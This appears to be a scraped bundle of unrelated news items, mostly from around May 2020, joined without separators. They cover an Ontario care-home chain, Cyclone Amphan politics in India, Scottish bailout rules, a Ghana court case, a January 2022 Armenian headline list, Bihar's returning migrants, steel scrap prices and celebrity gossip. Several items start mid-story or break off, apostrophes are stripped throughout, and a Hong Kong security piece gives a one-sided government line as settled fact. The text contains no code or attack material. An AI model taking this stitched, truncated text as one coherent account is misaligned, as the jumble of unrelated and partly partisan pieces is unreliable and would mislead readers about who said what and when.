Brothers Aldo Martino and the late John Martino owned the Royal Crest Lifecare chain of care homes until it collapsed into bankruptcy in 2003, leaving Ontario taxpayers on the hook for $18 million.

Seven of the homes associated with the Martinos, including one in Niagara Falls, have been found in violation of numerous provincial or city regulations within the last six months.

Two of the Hamilton homes  Rosslyn and Cathmar Manor on Catharine Street North  have been hit with orders recently by the provinces governing body for retirement homes, demanding they comply with the law.

These are our parents and our grandparents who live in these facilities and (its troubling) to have an operator who has had a legacy of performance issues in this sector, said Nann, whose ward includes five of the homes associated with the Martino families.

It is absolutely deplorable, disheartening and unbelievable at a time when so many other people in the community understand this is a time of joint responsibility and everybody has a role to play, she added.

Representatives of the Martino family did not respond to a request for comment.

Its nothing short of a tragedy that 17 years later, were here again and peoples lives are again being put at risk, said Sandy Shaw, NDP MPP for Hamilton West-Ancaster-Dundas. Her riding includes the Martino familys Dundas Retirement Place.

Wheres the failure in systems that dont protect vulnerable folks, that dont protect our parents and our grandparents? Shaw asked.

NDP leader and Hamilton Centre MPP Andrea Horwath said shes concerned that the history of Royal Crest from the early 2000s appears to be repeating itself.

Now here we are almost 20 years later and it seems as though the same group of characters is making money off of cutting corners and not providing appropriate care for people in residential homes, said Horwath, whose riding includes six homes connected to the Martinos, including Rosslyn. Its just wrong.

Its just a terrible, terrible situation, Horwath said. We just shouldnt be allowing these kinds of facilities to continue to operate in such dismal ways, that create such horrifying environments for our seniors and our loved ones.

The provincial NDP is demanding the Doug Ford government call a public inquiry into long-term care. The COVID-19 pandemic has caused a shockingly disproportionate number of deaths in care homes across the province, particularly those that are private, for-profit operations.

If theres one area where we can never look away again its how we treat our vulnerable folks and our seniors, said Shaw. We need to look at how a profit-driven system has made this situation so much more precarious for people.

Theres big money in this sector and its quite clear that we need to understand that adding a profit motive to these kinds of services doesnt always serve the folks best who need those services, Shaw added.

Nann said she supports the call for a public inquiry and she also supports a provincial takeover of care home operations.

It completely exposes how much this private for-profit business model cannot be the way moving out of this pandemic on how we are going to care for our elderly and our vulnerable populations that require assisted living, Nann said.

I think theyve had their chance to attempt to take care of our elderly and theyve shown that when private interests and profit interests are at play, theyre clearly not up for the job, said Nann.

Since last weeks outbreak at the Rosslyn home, the citys public health department has been conducting urgent inspections of the other homes associated with the Martino family.

Royal Crest and the Martino brothers were the subjects of an extensive Spectator investigation in 2003 and 2004.

The investigation showed Ontarios health ministry had provided more than $500 million to Royal Crest in a decade leading up to the chains collapse, but the ministry hadnt conducted its own audit of the company in the three years prior to the bankruptcy.

Read more about:
The Congress here on Friday



termed Prime Minister Narendra Modi's visit to cyclone Amphan ravaged West Bengal as "double standards", while pointing out that he did not visit Karnataka during the floods in 2019 and tried to draw a connection between the visit and assembly elections there next year.

"We stand in solidarity with cyclone affected WB. We condemn double standards of @narendramodi. PM has responded by visiting WB for survey,while he never visited Karnataka during floods & landslides.

Bengal may be having an election next year but people are suffering here as well," Karnataka Congress tweeted.

Modi today conducted an aerial survey of cyclone-hit areas of West Bengal and took stock of the situation in the state.

He has announced announced Rs 1,000 crore as immediate assistance to the state.

The Congress state unit said Modi did not visit Karnataka during the floods last year which killed 91 people and displaced nearly seven lakh people.

The Congress, the principal opposition party in Karnataka,has been criticising governments both at the centre and state over the delay and inadequate flood relief to the state, despite being administered by the same party- BJP.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Scotland has become the latest country to block companies based in tax havens from accessing coronavirus bailout funds, in a move that will increase pressure on Boris Johnson's UK government to introduce similar measures.

Members of the Sottish parliament approved new rules on Wednesday night that will mean companies that are registered in tax havens, or are a subsidiary of an offshore company, cannot apply for government grants.

France, Belgium, Denmark, Poland, Wales and Argentina have applied similar policies to their coronavirus business-support packages.

A second amendment to the Scottish legislation, introduced by the Green Party, would have required companies taking bailout money to commit to country-by-country reporting in their accounts. However, the amendment was voted down. Country-by-country reporting has long been a central policy request of the tax justice movement because it would open up to public scrutiny any shifting of corporate profits into tax havens.

Campaigners welcomed the Scottish parliament's move but warned that it would not prevent large firms that avoid billions in tax from accessing bailout funds.

Scotland, like other European countries that have introduced tax-haven clauses, is relying on the EU's blacklist of tax havens that does not include some notable tax-avoidance hotspots, such as Jersey, the British Virgin Islands, Switzerland and the Netherlands.

The Tax Justice Network's chief executive, Alex Cobham, said this would leave the door open to companies registered in many of the world's most dangerous corporate tax havens.

"Many of the biggest corporate tax havens are based right here in Europe," he said.

The Independent
By Express News Service

KOCHI: Airline company IndiGo on Thursday said it has been authorised to operate 97 repatriation flights from West Asia to Kerala. This makes Indigo the first private airline to start international commercial operations to India after the government banned such operations on March 22. Till now, national carriers Air India and Air India Express have been undertaking the evacuation flights, airlifting Indians stranded in various countries under the Vande Bharat Mission.

IndiGo has been authorised to operate 97 Kerala reparation flights to the Middle East. Adhering to all the precautionary measures, the flights will be operated between Kerala and the Kingdom of Saudi Arabia, Doha, Kuwait and Muscat. IndiGo has been granted nearly half of the 180 repatriation flights allotted to private airlines, a release said here.

It did not, however, mention the dates of the flights or the airfare. Ronojoy Dutta, chief executive officer, IndiGo, said, We had expressed eagerness to support Indian governments repatriation efforts from the Middle-East. We are grateful for the approval to operate flights to four countries to bring back our fellow citizens, who are either stranded due to suspension of operations or have registered to fly back owing to the economic landscape. The 97 repatriation flights will include 36 flights from the Kingdom of Saudi Arabia, 28 from Doha, 23 from Kuwait and 10 from Muscat to Kerala.


The Circuit Court in Accra presided over by His Honour Emmanuel Essandoh has adjourned the case in which a private security man Bless Amedegbe, alias Don Dada Bless, 24, has been charged with assault on the President Nana Addo Dankwa Akufo-Addo to May 28, 2020.

The accused person was earlier arraigned without a lawyer and remanded into custody to appear in court today.

However, in court today, when he was represented by counsel Yaw Danquah, his lawyer said he had applied for the records of the previous proceeding to be able to represent his client well but he was yet to receive the proceedings.

He subsequently prayed for an adjournment to enable him to get the proceedings and scrutinise it before returning to court.

His Honour Mr Essandoh remanded the accused again to reappear on Thursday, May 28, 2020.

Charges

He has been slapped with two charges of circulating false communication and assault on a public officer contrary to sections 76 (1) of the electronic communication act, 2008 (Act 775) and section 205 (A) of the criminal and other offences act 1960, Act 29, respectively.

Brief facts

The brief facts of the case as presented to the court were that the complainant is an operative of the Bureau of National Communication, National security, while the accused person is a private security guard of VIP Security company and lives at Mamombi.

The prosecutor explained that, during the month of April 2020, when the President Nana Addo Dankwa Akufo-Addo had imposed lockdown in the Greater Accra Region and Greater Kumasi to curtail the spread of COVID-19, the accused made a video of himself and circulated same via YouTube and Whatsapp platforms including the General public to defy the Presidents Executive Orders.

According to the prosecutor, the accused did so on grounds that the lockdown and social distancing for COVID-19 was a hoax, deliberately made by the President to deceive the public and allow the telecommunications companies to install 5G networks which causes death.

The accused, he said further incited the public to rise up against His Excellency the President and to set his personal house ablaze.

The accused in his self-made video again incited the public to kill any police officer executing the COVID-19 duties.

He added that, on May 12, 2020, the accused person was tracked and arrested.

He admitted it in his caution statement of having made and circulated misleading video on his Whatsapp and YouTube platforms.

After investigation, the accused was charged with the offences before the court.

---starrfmonline
Turkish FM: Armenian representatives invited to diplomatic forum in Antalya

Twitter suspends Mexican billionaire's account over offensive behavior

Armenian PM says Omicron strain is slowly spreading

Azerbaijan says it supports launching border delimitation process with Armenia with no conditions

Zakharova speaks on Aliyev's visit to Kyiv

Zakharova does not comment on Azerbaijan president's threats against France presidential candidate for her Artsakh visit

Cavusoglu: Steps to increase mutual trust will be discussed at next meeting with Armenia

US gives go-ahead to Lithuania, Latvia and Estonia to send missiles and other American-made weapons to Ukraine

Zakharova: Russia, as OSCE Minsk Group Co-Chair, supports continuation of work in this format

Cyber attack on Red Cross: data of over 515,000 people compromised

Pashinyan: UK has been strong partner of newly independent Armenia

Israel hopes UN will unanimously condemn Holocaust denial

Armenia, Ukraine depositories sign memorandum of cooperation

Azerbaijan advises Armenia to correctly assess the new geopolitical realities and draw conclusions

Australia, UK to fight back against cyberattacks from China, Russia and Iran

Protesting residents of Armenias Parakar community march to territorial administration ministry

Armenia government approves protocol on implementation of readmission agreement with Lithuania

Iran suspends gas supplies to Turkey

MFA: Armenia has no preconditions for border delimitation

621 new cases of COVID-19 confirmed in Armenia

Paris to have place named after Hrant Dink

Armenias Parakar enlarged community residents protesting outside government building

Turkey opposition party MPs petition for parliamentary inquiry into Hrant Dink assassination

France, Germany, Italy and Spain call on Israel to halt construction in East Jerusalem

Armenia parliament speaker in US, meets with Nancy Pelosi

Iranian MFA: Relations between Iran and Russia have moved into a new diverse, intensified direction

Biden says invasion of Ukraine will be disaster for Russia

Newspaper: Armenia PM Pashinyan plans to hold Presidents office

Newspaper: Opposition Armenia bloc, led by ex-President Kocharyan, starting new processes

Taliban PM calls on Muslim countries to be first to formally recognize their government

Saudi Arabia records lowest temperature in 30 years

Erdogan's visit to Ukraine scheduled for February 3

Russian peacekeeping contingent establishes order of passage through Lachin corridor

French Senate votes to ban hijab at sporting events

Armenian FM: All necessary conditions to be created for Demarcation Commission work

Olaf Scholz: Borders in Europe cannot be changed by force

Lavrov presents Armenian Ambassador to Russia, with the Order of Friendship

Bill Gates warns of pandemics far more serious than COVID-19

FM on mirror withdrawal of troops: Not a single Armenian village will be left without proper protection

Macron: EU countries must work together on agreement for stability and security

PM Pashinyan assumes accountability for Armenia special representative for negotiations with Turkey

Turkey Central banks and UAE sign agreement worth almost $5 billion

Blinken: Western countries need unity to stop Russian aggression against Ukraine

Iranian President performs evening namaz in Kremlin after talks with Putin

Turkish police detain women protesting price hikes in hygiene products

Delegation headed by Chief of the Cypriot National Guard General Staff has meetings in Armenia

Merkel refuses job in UN structure

Greece receives the first batch of French Rafale fighters

NEWS.am daily digest: 19.01.22

Azerbaijan hopes Pope to mediate in relations with Armenia

Talks between presidents of Russia and Iran start in Kremlin

Armenian FM: This is not first time Baku makes nonconstructive statements

Armenian Investigative Committee: 3,809 people die in the 44-day war

Ombudsman: I urge not to give in to Azerbaijani manipulations, to visit Artsakh

Armenian FM: Armenia passes a package of proposals to Azerbaijan

France names the main favorite of presidential election

Garo Paylan concludes address in Turkey parliament in Armenian

Russian Foreign Ministry believes there is no risk of large-scale war in Europe

Dollar goes up in Armenia

Sharmazanov: Armenia ex-President Sargsyan did not decide to hold press conference, he did not change his mind

Blinken: Russia has plans to increase force on Ukraine borders

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Azerbaijani military participate in Turkish drills

Taliban say all conditions for recognizing legitimacy of government are met

Azerbaijan MFA statement distorts events of Armenian massacres in Baku 32 years ago

Karabakh ombudsmans office: Azerbaijans anti-Armenian, genocidal policy has clear chronology

US official, Barzani are photographed against backdrop of Greater Armenia and Kurdistan map

Armenia ex-defense minister, army General Staff chief, some others criminal case court hearing kicks off

FM: Most important direction continues to be international recognition of Artsakh

Armenia revenue committee chief on opening of Turkey border: Shall we live with closed borders? In fear?

US selects Los Angeles to host Summit of the Americas in summer 2022

Karabakh Foreign Minister: Return of refugees can only be like mirror

Iranian president arrives on official visit to Moscow

All CSTO peacekeepers leaves Kazakhstan

Artsakh Foreign Minister: Unacceptable to bracket NKAO and NKR together

Karabakh FM: Format of OSCE Minsk Group Co-Chairs' visits needs to be restored

Media: Air communication between Turkey and Armenia will start on February 2

Artsakh FM: Azerbaijan attack on Karabakh will mean attack on Russia

Gold prices hardly change

American professor angers Erdogan's son-in-law

Hovhannes Khachatryan is elected Armenia Central Bank Deputy Governor

15 years pass since Hrant Dink assassination

563 new cases of COVID-19 confirmed in Armenia

Guterres offers Merkel job at UN

Armenian church revamped in Iran

World oil prices going up

Newspaper: ECHR rulings increase after Armenia revolution in 2018

Newspaper: Armenia ex-President Sargsyan to give interview instead of press conference

Azerbaijan MFA falls into hysterical rage by France FM statement

The Pope to donate 100,000 to help migrants on border of Belarus and Poland

Fourth vaccine against COVID-19 is not enough for Omicron

World is on verge of country defaults

French Foreign Ministry considers unacceptable Azerbaijan statements about Pecresse

US to return two valuable artifacts over 4,000 years old to Iraq

Germany may consider halting Nord Stream 2 if Russia attacks Ukraine

Israel successfully completes test of anti-ballistic missile system

Plane landing in Sochi struck by lightning

Putin and Aliyev discuss Ukraine situation

Greek PM Mitsotakis threatens Turkey with sanctions

Handelsblatt: US and EU abandon idea of disconnecting Russia from SWIFT international payment system
By Express News Service

RANCHI: As per the fresh Central government guidelines, none of the districts in Jharkhand comes under the red zone for COVID-19.

As per the new guidelines issued by the central government, none of the districts in Jharkhand qualify for red zones for COVID-19. Therefore, it could be said that we have 21 orange zones and 3 green zones in Jharkhand, said the Principal Health Secretary Nitin Madan Kulkarni. He, however, admitted that the doubling rate in the State has definitely increased after the influx of migrant workers.

Since testing for everyone coming from other States is not possible, we have identified 24 hotspots in the Country. Samples of only those coming from there showing any signs of symptoms are being sent for testing, said the Principal Health Secretary. Out of the samples taken from 19,686 migrants so far, highest 1 per cent, coming from Mumbai have tested positive, he added.

According to Kulkarni, the total positivity rate of COVID-19 cases in Jharkhand is 0.73 per cent and the total numbers of 42,245 tests have been conducted so far. Jharkhand has testing facilities at four Government laboratories, he added.

Testing of about 2300-2400 samples are being examined every day in Jharkhand, said Kulkarni.

The official said that almost all the positive cases detected in Jharkhand are asymptomatic which are being kept either in home or institutional quarantine.

Meanwhile, the influx of about 25000 migrants every day is posing a big challenge before the officials as out of the 197 cases tested positive since May 1, after the first train reached here from Telangana, 156 are migrants coming from other states.

This is definitely a challenge for all of us and we have to live with it. But the positive part is that all of them are asymptomatic and are recovery rate here is far better than many states, said Garhwa Civil Surgeon NK Rajak. He, however, indicated the limited testing facility which needs to be expedited to check further spread of the infection in the State.

Garhwa remains at second position in terms of positive cases with 47 cases after Ranchi, which has registered 112 cases so far.

A maximum of 100 samples every day are being accepted by the testing lab at Rajendra Institute of Medical Sciences (RIMS) in Ranchi and hence testing of every migrant is not possible, said the Civil Surgeon.

Notably, as per the data released by the health department, there is a backlog of over 5000 samples for testing which apparently is due to the limited testing facility available with the State Government.
Twenty-two opposition parties urged the Centre on Friday to immediately declare the devastation caused by Cyclone Amphan in Odisha and West Bengal as a national calamity and called for substantially helping the two states in facing the impact of the disaster.

The leaders of the 22 parties, who met through video-conferencing, passed a resolution in this regard and said relief and rehabilitation should be the topmost priority at this juncture.

We, the opposition parties, extend our sympathy and support to the governments and people of West Bengal and Odisha in meeting the impact of the devastation caused by Cyclone Amphan, the resolution said.

It said a natural calamity like Cyclone Amphan has come as a double blow to the states amid the coronavirus pandemic, breaking the spirits of people.

Opposition parties, therefore, urge the central government to immediately declare this as a national calamity and substantially help the states in facing the impact of this disaster, the resolution said.

It added that the people of Odisha and West Bengal urgently need the support and solidarity of the governments and citizens of the country.

Noting that relief and rehabilitation should be the topmost priority at this juncture, the resolution said the possibility of an outbreak of other diseases as a result of the calamity must also not be ignored.

We, the opposition parties, call upon the central government to provide urgent help to our fellow citizens/countrymen, it said.

During the meeting, the leaders conveyed their deepest condolences to the families of those who lost their lives due to the cyclone.

We express our solidarity and sympathies with the pain of those who have suffered other losses. The country and its people are already in the midst of a grim struggle for survival combatting the COVID-19 pandemic, they said.

The meeting called by Congress chief Sonia Gandhi was attended by the leaders of the Trinamool Congress (TMC), Nationalist Congress Party (NCP), Dravida Munnetra Kazhagam (DMK) and Left parties, among others.
The Basic Law of the Hong Kong Special Administrative Region (SAR) stipulates that "the Hong Kong SAR is an inalienable part of the People's Republic of China (PRC)." "One country, two systems" is the basic principle for governing the Hong Kong SAR, established in accordance with Article 31 of the Constitution of the PRC, which says, "The state may establish special administrative regions when necessary."

However, since Hong Kong returned to the motherland on July 1, 1997, the opposition and external forces have schemed with each other to incite protests and violence. The former aims to seize the right to govern Hong Kong from the Central Government and the Hong Kong SAR Government while the latter attempts to create obstacles for China's development and subvert state power.

During last year's protests, rioters attacked the Liaison Office of the Central People's Government in the Hong Kong SAR and defiled the national emblem, calling for "Hong Kong independence." Some resorted to terrorism by hurling gasoline bombs and installing explosive devices.

Those that regard China with animosity enhanced interference with Hong Kong affairs amid the turmoil. The U.S. Government and senior Congress officials walked from behind the scene to the front stage to put pressure on the Central Government and the Hong Kong SAR Government and support the protesters. The U.S. Senate passed the Hong Kong Human Rights and Democracy Act last November, threatening to sanction officials of Hong Kong and the mainland. The moves have proved that the U.S. is the biggest supporter and manipulator of the Hong Kong turmoil.

Jimmy Lai Chee-ying, founder of Hong Kong-based newspaper Apple Daily, even claimed that the violence in Hong Kong was carried out for the interests of the U.S. Taiwan secessionists have also joined forces with those advocating "Hong Kong independence" to demonize "one country, two systems." They have passed on rioting experiences and provided funding and training to Hong Kong protesters.

At a time when the world is combating the novel coronavirus pandemic, the Hong Kong opposition camp has continued to incite local residents to participate in riots and even threatened to put bombs in public areas.

Such behavior has seriously harmed China's sovereignty, and is intolerable. The Chinese Government and people are resolutely against hostile activities that endanger national security.

It is highly necessary for China's top legislature to establish and improve the legal system and enforcement mechanisms for the Hong Kong SAR to safeguard national security.
May 22 : Thiruvananthapuram: Opposition leader Ramesh Chennithala on Friday ripped into the CPI(M)-led LDF government over the Sprinklr issue.

He said that the state government had taken a U-turn on several issues in connection with the deal with Sprinklr, a US-based firm, to collect and analyse data related to covid-19 patients in the state.

The affidavit filed by the state government before the Kerala high court in response to petitions challenging the states agreement with Sprinklr vindicated the allegations raised by the opposition, Chennithala said.

If the opposition had not joined issue with the state government allowing Sprinklr to collect personal data of covid patients, the American company would have made off with data worth crores of rupees, the opposition leader alleged.

The state governments volte face on several issues in connection with the Sprinklr issue before the high court was akin to an accused getting rid of the mainour, he quipped.

The LDF government had in affidavit on Thursday assured the high court that no data of covid-19 patients and those under monitoring would be shared with Sprinklr.

The affidavit stated that the data collected would be stored on the cloud storage owned by C-DIT in Amazon web services. Sprinklr had been instructed to delete all residual data, if any, in its possession, the affidavit added.

The state government had further assured the high court that Sprinklr had no access to any covid-related data and that the companys remit did not extend beyond upgrading the application required for collating data.

The government also guaranteed that data would be anonymised before sharing with a third party if the need arose.
Bids for bulk cargoes of Japanese H2 scrap were at $245 per tonne cfr southern Vietnam this week, with offers at $250 per tonne cfr southern Vietnam at the start of the week.There was a transaction at $248 per tonne cfr southern Vietnam to a Vietnamese steel mill on Tuesday or Wednesday, while another transaction was concluded at $247 per tonne cfr southern Vietnam on Thursday.Offers increased to $255-260 per tonne cfr southern Vietnam by Thursday and Friday from $250 per tonne cfr southern Vietnam earlier in the week, after optimistic traders raised their offers after major Japanese mini-mill Tokyo Steel announced it would increase its bid price.The electric-arc furnace-based producer increased its bid by 1,000 ($9.29) per tonne at all steel works. It is now paying 19,500 per tonne at Tahara works, 18,500 per tonne at Okayama works, 18,500 per tonne at Kyushu works, 19,500 per tonne at Utsunomiya works and 17,500 per tonne at Takamatsu works.Buyers in northern Vietnam were negotiating for bulk Japanese H2 scrap at $255-259 per tonne cfr in the earlier part of the week, with offers at $260 per tonne cfr northern Vietnam."It will take time for buyers to digest the new offers. But they will have to purchase at higher prices next week if they need quantities," an optimistic Vietnamese trader told Fastmarkets on Friday.Cargoes of H1&H2 (50:50) were offered at $270 per tonne cfr Vietnam.Bids for bulk cargoes of Japanese HS were at $280 per tonne cfr Vietnam, against offers at $280-285 per tonne cfr Vietnam. Bulk Japanese Shindachi was offered at $285-290 per tonne cfr Vietnam.The higher offers are in line with the higher domestic prices in key supplier Japan."Many Japanese shippers have to start bidding higher for domestic scrap so that they can gather enough quantities to ship to buyers in Asia," a Japanese trader told Fastmarkets.Fastmarkets weekly price assessment for steel scrap H2, Japan-origin import was $247-248 per tonne cfr Vietnam on Friday, narrowing by $2-3 per tonne from $244-250 per tonne cfr a week earlier "Offers have indeed increased this week but it remains to be seen whether this is sustainable. A major rebar producer in Vietnam has cut its rebar offers by 150 dong per kg ($6.40 per tonne)," a second Vietnamese trader told Fastmarkets on Thursday.The producer is now offering rebar at 10,500-10,700 dong per kg on a theoretical weight basis.Offers for bulk cargoes of United States' West Coast-origin HMS 1&2 (80:20) were at $263 per tonne cfr Vietnam this week, unchanged week on week. Shredded scrap was offered at $268 per tonne cfr while plate and structural scrap was offered at $273 per tonne cfr Vietnam.Another bulk shredded cargo from the US' West Coast was offered at $270 per tonne cfr Vietnam.There was limited demand for deep-sea cargoes after at least one 35,000-tonne cargo from the US' West Coast was sold at $257 per tonne cfr Vietnam last week. There was market chatter that another deep-sea cargo from Australia was also concluded at the same price, although this could not be confirmed.Fastmarkets weekly price assessment for deep-sea bulk cargoes of steel scrap, HMS 1&2 (80:20), cfr Vietnam was $257 per tonne on Friday, unchanged week on week.Bids for containerized ferrous scrap from the US were at $220 per tonne cfr Vietnam, while offers were at $235-240 per tonne cfr Vietnam."Containerized scrap buyers are able to wait for price drops this week," the second Vietnamese trader said.
'Unlike Andhra Pradesh or Tamil Nadu, there is no opportunity for workers to earn a livelihood in Bihar.'

M I Khan reports on the dilemma confronting lakhs of Bihar's migrants who have returned to the state.

IMAGE: Migrant workers from Gujarat arrive at Bihar's Danapur railway station. Photograph: PTI Photo

Satyendar Kumar Singh, a migrant worker who returned to his home state, Bihar, from Surat in Gujarat, has no immediate plans to return to his workplace.

"I won't go back to Surat soon. I will decide after five months. This year is gone (in terms of returning to Surat to earn a livelihood). I might return in 2021," says Satyendar, a resident of Bahadur Bigha village under the Haspura block in Bihar's Aurangabad district.

A school dropout, he was employed as a helper at a sari manufacturing factory in Surat.

Currently quarantined at a private women's college near the Haspura block office, Satyendar said returning home was not easy.

"I have been working in Surat for 10 years. The lockdown changed everything. The factory shut down and I was rendered jobless. There was no source of livelihood."

Mohammed Shamshad Khan, another migrant worker, says, "I won't return soon; I will think about it after three or four months."

At the same time, he admits that poor workers like him have no option but to migrate outside the state to earn their livelihood.

"What can I do here except to sit idle without any work? Unlike Andhra Pradesh or Tamil Nadu, there is no opportunity for workers to earn a livelihood in Bihar," says Khan.

"But my family will not allow me to go soon after the lockdown ends. The fear of the coronavirus is such that I too will prefer to stay in my village for now," adds Khan, who worked as a painter in the construction sector in Andhra Pradesh's Chittoor district.

Khan earned Rs 12,000 to Rs 14,000 a month, working eight hours a day for a contractor there.

"After the lockdown began in March, I was lucky. My contractor helped me with rations for April but could not do it in May. I had no choice. I boarded a special train. Otherwise, I would have starved. I paid for the train fare from with my savings," says Khan.

A resident of Raghunathpur village under Haspura block in Aurangabad, Khan is quarantined at a BEd college in Pachrukhiya.

Satyendar and Khan are among the nearly 2 lakh migrant workers who have returned home to Bihar after the lockdown began.

Most of them were rendered jobless after the factories where they worked shut down due to the lockdown.

Many took the Shramik trains. Hundreds of migrants walked hundreds of kilometres or cycled or travelled back to Bihar on trucks and other vehicles.

IMAGE: Migrants arriving from Andhra Pradesh undergo thermal screening at the Danapur railway station in Patna. Photograph: PTI Photo

Ram Parvesh, who returned home to Bhagalpur with his wife and four children, no longer knows what the future holds for his family.

Since the last five years, he has been working in a factory in Chandigarh.

"I don't want to go back to Punjab. We faced tremendous difficulty during the last one-and-a-half months. There was no one to help us. I will stay in Bihar and search for livelihood here," says a disillusioned Ram.

The lockdown, he says, has left his children with a bleak future.

The Parvesh family, residents of Sadikpur village under the Naugachia block in Bhagalpur, are currently spending the mandatory quarantine at a government-organised centre.

Ram says they survived on his savings during Lockdown 2.0.

When the third lockdown started, he struggled to provide his family with two meals a day.

"We never want to witness such a situation again. It is better to earn locally. If I get the opportunity to work here, I will never go outside to earn a livelihood. I am happy that I have returned home," he adds.

IMAGE: Migrants having lunch, distributed by volunteers, amid their journey to reach their destination in Patna. Photograph: PTI Photo

Salam Ansari, a resident of Azamnagar in Katihar district, now under quarantine at a government centre after he reached to Bihar on a special train, says the lockdown has taught him "There is no charm in a big city."

"Poor people like me have more dignity and happiness back home," says Ansari, who worked in a factory manufacturing bags in Mumbai.

He would consider returning to Mumbai only if he is not able to find a job locally.

"I cannot live without earning. I have no land, no other resources to survive. I may go back to Mumbai after life becomes normal by September-October," he adds.

Others echoed what Ram Pravesh and Salam Ansari had to say.

Yogesh Giri, a migrant worker from Baruna village quarantined at a centre in Dinara, Rohtas district, says after the way he and other migrants like him were treated by factory owners, the police and local residents in Gujarat, he will think thrice before returning to work there.

"The lockdown period outside Bihar revealed a new reality. It exposed us to the struggle for survival without any help from anyone, without ration and without money," says Giri.

"No one from the factory where I was working cared to inquire if we were dead or alive and how we were managing without ration and money during the long lockdown," adds Giri, who worked in a factory manufacturing motorcycle parts in Ahmedabad.

IMAGE: Migrants board a tempo to reach their destination , during the ongoing COVID-19 nationwide lockdown, in Patna. Photograph: PTI Photo

Krushn Kumar, Lal Babu Prasad, Jitendar Kumar reached their home district, Nawada, on May 12. It had taken them a week to walk home from Panipat, Haryana.

All three, who are now at a quarantine centre, were angry that the government had failed to arrange a train or vehicle for them.

"We left our homes to earn money, but, after the lockdown, the factories where we worked shut down. We had no choice but to remain in our small, rented room for over a month," they say.

"We reached a stage where we had no money left. So we decided it is better to return to our village and try and survive there. There was no option left. Finally, it was our home that came to our rescue," says Krushn.

A resident of Pali village under Kawakaul police station in Nawada, he was working at a bed sheet manufacturing unit in Panipat. He admitted there is little opportunity in Bihar to earn a livelihood.

"But I have decided to work here. I will also cultivate small land holdings in the village to support my family. For the time being, I have not made up my mind when to go back to Panipat," he adds.

Triveni Pandey, quarantined at a centre in Gaya, used to work as a daily wage labourer in Surat.

"My meagre savings were exhausted during the lockdown. I had no option but to return home. I was forced to borrow money from others to pay for the train ticket," he says.

"After normalcy returns, I will go back to Surat. Unlike in Bihar, I can earn more money there. There is no shortage of work," he adds.

IMAGE: Migrants rest at a quarantine camp set up in a school in Bihar. Photograph: PTI Photo

Mohammad Aslam Nawaz, a resident of a village in Madhubani, is waiting for his quarantine period to end so that he can go home.

After the lockdown, he says he will return to his job at a zari embroidery workshop in Hyderabad.

"My owner helped me for nearly two months since lockdown began. How can I say no to him? I will return to work for the man who behaved like a guardian angel when I was facing a difficult time," says Nawaz.

On the other hand, Maheshar Rai, used to work in Delhi, is shaken by the problems he has faced and says he will not leave his village in search of work any more.

Currently spending his quarantine period at a government-mandated centre after returning to his home state on a Shramik train, he says he owns a five bigha plot.

"I will stay in my village and work as a farmer to survive."
Married At First Sight's Seb Guilhaus shared a cryptic Instagram post about 'self-sabotage' on Friday, sparking concerns his long-distance relationship with Elizabeth Sobinoff may be in trouble.

The retired footy player, 30, wrote an essay about how everybody self-sabotages from time to time, in most cases due to a lack of 'self-love'.

While some of his followers assumed he was hinting at romance woes, Seb has since clarified that things are 'flourishing' with Elizabeth.

Is everything okay? Married At First Sight's Seb Guilhaus (right) shared a cryptic Instagram post about 'self-sabotage' on Friday, sparking concerns his long-distance relationship with Elizabeth Sobinoff (left) may be in trouble

'Self sabotage is an identifier of lack of self love. Just like honouring commitments to yourself is a sign of self confidence [and] self love,' Seb wrote in the post.

'External validation is fleeting, it floats around in the breeze and washes away with ease. If you want consistency and progression then develop that strong base of self commitment.'

But despite this sombre message, it seems all is well for the MAFS golden couple.

Still going strong? The retired footy player, 30, wrote an essay about how everybody self-sabotages from time to time, in most cases due to a lack of 'self-love'

Seb told Daily Mail Australia on Friday afternoon that despite his reference to 'self-sabotage', their relationship 'is flourishing at the moment'.

He added that his post was simply 'a general insight' into the human condition.

The personal trainer elaborated on his 'insights' in the caption, which continued: 'We all self sabotage to some degree. We all make choices which hinder our ability to progress. It's human nature.

'Don't stress': While some of his followers assumed he was hinting at romance woes, Seb has since clarified that things are 'flourishing' with Elizabeth

'Self love and self sabotage are arch rivals. Self love makes commitments and sticks to them. Self sabotage convinces you to derail your train.'

Seb concluded by saying that honouring one's personal commitments will boost self-confidence and result in a happier life.

'The more self confidence we develop the more we strengthen our base. When our base is strengthened we can bring in partners, friends, opportunities, dreams,' he said.
A man was hospitalized after an officer-involved shooting Friday morning in Haverhill, authorities said.

Officers responded around 4:59 a.m. to a report of domestic violence at 23 Thorndike St., according to Carrie Kimball, a spokesperson for Essex District Attorney Jonathan W. Blodgetts office.

In the course of their response, they shot a male multiple times, Kimball said in a statement.

The suspect was taken to Lawrence General Hospital and later to Boston to be treated for his injuries. He is still alive at this time, Kimball said shortly after 11:15 a.m.

No officers were injured in the shooting, Massachusetts State Police spokesman Dave Procopio told MassLive.

Authorities did not specify the age or identify of the person shot.
The fate of more than 700,000 undocumented immigrants known as Dreamers could soon be decided by the US Supreme Court.

The US Supreme Court will soon decide the future of the Deferred Action for Childhood Arrivals (DACA) programme.

The federal programme has granted a temporary reprieve from deportation for undocumented young people, known as Dreamers. The expected ruling will decide the fate of more than 700,000 people in the US.

In this episode, we bring you a story about two young Dreamers who took fate into their own hands.

We speak with Tawheeda Wahabzada, a former Dreamer now working as a senior researcher in Toronto, Canada; Mauricio Lopez, a former Dreamer now working and living in Mexico City, Mexico; and we talk about the future of DACA under the Trump administration with Steve Yale-Loehr, a lawyer and professor of immigration law at Cornell University.

For more:

2020 look ahead: Dreamers await decision on their futures

US Supreme Court to rule on Trump bid to end dreamers programme

Opinion: No Need to Deport Me. This Dreamers Dream Is Dead.

The team:

Ney Alvarez and Stacey Samuel produced this episode with Priyanka Tilve, Dina Kesbeh, Alexandra Locke, Amy Walters and Malika Bilal. Alex Roldan is The Takes sound designer. Natalia Aldana is the engagement producer, and Graelyn Brashear is Al Jazeeras Head of Audio.

Special thanks to Zainab Majoka and Ali Hamza.

Subscribe:

New episodes of the show come out every Monday, Wednesday and Friday. Subscribe to The Take on Apple Podcasts, Spotify, Google Podcasts, Stitcher, or wherever you listen.

Connect with us:

Follow The Take on Twitter, @AJTheTake, Facebook and Instagram @ajthetake.
Paramedics carry out a search and rescue exercise conducted with a small UAS piloted by operators utilizing Kongsberg Geospatials IRIS Airspace Management software for advanced situational awareness. I feel that this initiative by Kongsberg Geospatial has the potential to enhance our organizations ability to provide timely and effective SAR (Search and Rescue) assistance

